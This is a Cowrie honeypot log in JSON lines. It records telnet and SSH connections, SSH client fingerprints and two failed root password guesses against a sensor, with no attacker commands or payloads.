{"eventid":"cowrie.session.closed","duration":31.446162700653076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:55.318762Z","src_ip":"34.69.118.1","session":"f6ac60d40d60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41294,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5117ff2a580","protocol":"telnet","message":"New connection: 34.69.118.1:41294 (159.203.135.109:23) [session: a5117ff2a580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:55.656850Z"}
{"eventid":"cowrie.session.closed","duration":30.61093759536743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:56.201359Z","src_ip":"157.15.20.138","session":"00aacbbd9590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73735237121582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:56.264534Z","src_ip":"115.95.157.206","session":"a0968d0b35eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":49936,"dst_ip":"159.203.135.109","dst_port":23,"session":"f586a543d405","protocol":"telnet","message":"New connection: 157.15.20.138:49936 (159.203.135.109:23) [session: f586a543d405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:57.770533Z"}
{"eventid":"cowrie.session.closed","duration":12.387930631637573,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:57.923430Z","src_ip":"115.205.221.209","session":"0a1e4a28a4f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":34202,"dst_ip":"159.203.135.109","dst_port":23,"session":"04ae784cf466","protocol":"telnet","message":"New connection: 104.236.196.85:34202 (159.203.135.109:23) [session: 04ae784cf466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:58.148714Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49516,"dst_ip":"159.203.135.109","dst_port":23,"session":"d32075f9514b","protocol":"telnet","message":"New connection: 103.171.45.122:49516 (159.203.135.109:23) [session: d32075f9514b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:59.153188Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":49938,"dst_ip":"159.203.135.109","dst_port":23,"session":"b39ce49d2b0c","protocol":"telnet","message":"New connection: 157.15.20.138:49938 (159.203.135.109:23) [session: b39ce49d2b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:59.699435Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":36784,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a1675b0da9","protocol":"telnet","message":"New connection: 62.171.133.168:36784 (159.203.135.109:23) [session: 42a1675b0da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:59.956949Z"}
{"eventid":"cowrie.session.closed","duration":31.48666763305664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:00.009907Z","src_ip":"157.15.20.138","session":"f5dd4b5f0d81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252342700958252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:00.139744Z","src_ip":"157.15.20.138","session":"c35925b2549d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49532,"dst_ip":"159.203.135.109","dst_port":23,"session":"f283d63e6c35","protocol":"telnet","message":"New connection: 103.171.45.122:49532 (159.203.135.109:23) [session: f283d63e6c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:00.185084Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34974,"dst_ip":"159.203.135.109","dst_port":23,"session":"70bc33c11b8e","protocol":"telnet","message":"New connection: 51.15.157.40:34974 (159.203.135.109:23) [session: 70bc33c11b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:00.465252Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":49944,"dst_ip":"159.203.135.109","dst_port":23,"session":"1481fb0af9d0","protocol":"telnet","message":"New connection: 157.15.20.138:49944 (159.203.135.109:23) [session: 1481fb0af9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:00.656699Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":49960,"dst_ip":"159.203.135.109","dst_port":23,"session":"6266bda5498f","protocol":"telnet","message":"New connection: 157.15.20.138:49960 (159.203.135.109:23) [session: 6266bda5498f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:01.709738Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":49966,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcde998ba03c","protocol":"telnet","message":"New connection: 157.15.20.138:49966 (159.203.135.109:23) [session: fcde998ba03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:01.979906Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":34208,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffc630e980e2","protocol":"telnet","message":"New connection: 104.236.196.85:34208 (159.203.135.109:23) [session: ffc630e980e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:02.735646Z"}
{"eventid":"cowrie.session.closed","duration":30.94325017929077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:03.157953Z","src_ip":"51.15.157.40","session":"8048db40cf8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181392908096313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:04.155302Z","src_ip":"157.15.20.138","session":"99d443ff3444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.155.157.120","src_port":41770,"dst_ip":"10.17.0.5","dst_port":23,"session":"00fd7415bff2","protocol":"telnet","message":"New connection: 186.155.157.120:41770 (10.17.0.5:23) [session: 00fd7415bff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:05.768806Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":38408,"dst_ip":"159.203.135.109","dst_port":23,"session":"1252a6ab77ab","protocol":"telnet","message":"New connection: 103.171.45.122:38408 (159.203.135.109:23) [session: 1252a6ab77ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:06.269987Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":50342,"dst_ip":"159.203.135.109","dst_port":23,"session":"a86f588454a5","protocol":"telnet","message":"New connection: 157.15.20.138:50342 (159.203.135.109:23) [session: a86f588454a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:06.737444Z"}
{"eventid":"cowrie.session.closed","duration":30.92435359954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:07.136630Z","src_ip":"157.15.20.138","session":"a0559f13697b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315381288528442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:07.254217Z","src_ip":"157.15.20.138","session":"8e437402d9d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":50344,"dst_ip":"159.203.135.109","dst_port":23,"session":"2328fcc03386","protocol":"telnet","message":"New connection: 157.15.20.138:50344 (159.203.135.109:23) [session: 2328fcc03386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:07.806525Z"}
{"eventid":"cowrie.session.closed","duration":31.397862672805786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:07.828665Z","src_ip":"157.15.20.138","session":"01f7101f23c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44490337371826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:08.201941Z","src_ip":"157.15.20.138","session":"87c91cbb2c9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0852267742157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:08.637485Z","src_ip":"62.171.133.168","session":"61e2367915fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.684488534927368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:08.912229Z","src_ip":"62.171.133.168","session":"76dc621bc468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":50354,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccb4fcb29e94","protocol":"telnet","message":"New connection: 157.15.20.138:50354 (159.203.135.109:23) [session: ccb4fcb29e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:09.063526Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":37412,"dst_ip":"159.203.135.109","dst_port":22,"session":"de3acb61dff2","protocol":"ssh","message":"New connection: 113.163.156.190:37412 (159.203.135.109:22) [session: de3acb61dff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:09.893691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:09.898474Z","src_ip":"113.163.156.190","session":"de3acb61dff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:10.145528Z","src_ip":"113.163.156.190","session":"de3acb61dff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":44822,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf1db138514","protocol":"telnet","message":"New connection: 34.69.118.1:44822 (159.203.135.109:23) [session: fdf1db138514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:10.345058Z"}
{"eventid":"cowrie.session.closed","duration":30.43774724006653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:11.060951Z","src_ip":"62.171.133.168","session":"e1df5b8ae230","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231231","message":"login attempt [root/1231231] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:11.171784Z","src_ip":"113.163.156.190","session":"de3acb61dff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.24684429168701,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:11.801884Z","src_ip":"34.69.118.1","session":"578841624403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42426872253418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:11.972853Z","src_ip":"62.171.133.168","session":"efaca8c343d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843047380447388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:12.078461Z","src_ip":"62.171.133.168","session":"526b6c708721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":51312,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6fe414e3bfd","protocol":"telnet","message":"New connection: 62.171.133.168:51312 (159.203.135.109:23) [session: d6fe414e3bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:12.335882Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":50356,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cec0a076af5","protocol":"telnet","message":"New connection: 157.15.20.138:50356 (159.203.135.109:23) [session: 5cec0a076af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:12.415227Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:12.427983Z","src_ip":"113.163.156.190","session":"de3acb61dff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":50358,"dst_ip":"159.203.135.109","dst_port":23,"session":"84fed23eb766","protocol":"telnet","message":"New connection: 157.15.20.138:50358 (159.203.135.109:23) [session: 84fed23eb766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:12.667664Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":57158,"dst_ip":"159.203.135.109","dst_port":23,"session":"19c05401712c","protocol":"telnet","message":"New connection: 51.15.157.40:57158 (159.203.135.109:23) [session: 19c05401712c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:13.104922Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55624,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb4b61f2dee","protocol":"ssh","message":"New connection: 122.168.114.167:55624 (159.203.135.109:22) [session: 0bb4b61f2dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:13.453612Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":38416,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a5e448eb31","protocol":"telnet","message":"New connection: 103.171.45.122:38416 (159.203.135.109:23) [session: c0a5e448eb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:13.460127Z"}
{"eventid":"cowrie.session.closed","duration":30.598849058151245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:13.996172Z","src_ip":"62.171.133.168","session":"f2d31428ac3f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:14.299150Z","src_ip":"122.168.114.167","session":"0bb4b61f2dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:14.304444Z","src_ip":"122.168.114.167","session":"0bb4b61f2dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":51852,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff632ae5418d","protocol":"telnet","message":"New connection: 103.171.45.122:51852 (159.203.135.109:23) [session: ff632ae5418d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:14.769192Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":50362,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7a8402b904c","protocol":"telnet","message":"New connection: 157.15.20.138:50362 (159.203.135.109:23) [session: a7a8402b904c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:14.842100Z"}
{"eventid":"cowrie.session.closed","duration":30.56550168991089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:15.040627Z","src_ip":"62.171.133.168","session":"16f52e7e478f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36427330970764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:16.168070Z","src_ip":"157.15.20.138","session":"ae3b72b578da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":51320,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc4a2e13688","protocol":"telnet","message":"New connection: 62.171.133.168:51320 (159.203.135.109:23) [session: 7dc4a2e13688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:16.272383Z"}
{"eventid":"cowrie.session.closed","duration":30.98924708366394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:17.318398Z","src_ip":"103.171.45.122","session":"dd07f6125c28","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:19.550891Z","src_ip":"122.168.114.167","session":"0bb4b61f2dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":51862,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d2e990300e","protocol":"telnet","message":"New connection: 103.171.45.122:51862 (159.203.135.109:23) [session: f7d2e990300e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:19.689487Z"}
{"eventid":"cowrie.session.closed","duration":30.607232332229614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:20.214970Z","src_ip":"103.171.45.122","session":"5549aca28421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":43100,"dst_ip":"159.203.135.109","dst_port":23,"session":"f99e532a7cb5","protocol":"telnet","message":"New connection: 157.15.20.138:43100 (159.203.135.109:23) [session: f99e532a7cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:20.719695Z"}
{"eventid":"cowrie.session.closed","duration":31.29527521133423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:20.974442Z","src_ip":"51.15.157.40","session":"67c1e901a495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353952646255493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:21.065989Z","src_ip":"51.15.157.40","session":"53a08c8506c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33153533935547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:21.231582Z","src_ip":"103.171.45.122","session":"94022c2020bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.328177452087402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:21.252522Z","src_ip":"103.171.45.122","session":"7dc993c5d591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":39662,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e6d6e6db51e","protocol":"telnet","message":"New connection: 62.171.133.168:39662 (159.203.135.109:23) [session: 2e6d6e6db51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:21.359211Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":59780,"dst_ip":"159.203.135.109","dst_port":23,"session":"228f3071010e","protocol":"telnet","message":"New connection: 108.61.224.215:59780 (159.203.135.109:23) [session: 228f3071010e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:21.632110Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":39670,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dd6609b9f78","protocol":"telnet","message":"New connection: 62.171.133.168:39670 (159.203.135.109:23) [session: 0dd6609b9f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:21.761445Z"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:21.829828Z","src_ip":"122.168.114.167","session":"0bb4b61f2dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.27503228187561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:22.214309Z","src_ip":"157.15.20.138","session":"cee90599030b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":51868,"dst_ip":"159.203.135.109","dst_port":23,"session":"196a8fef5679","protocol":"telnet","message":"New connection: 103.171.45.122:51868 (159.203.135.109:23) [session: 196a8fef5679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:22.780604Z"}
{"eventid":"cowrie.session.closed","duration":30.470296382904053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:24.194854Z","src_ip":"62.171.133.168","session":"7c1690622129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06456208229065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:24.358486Z","src_ip":"157.15.20.138","session":"07b80c5e3718","protocol":"telnet"}
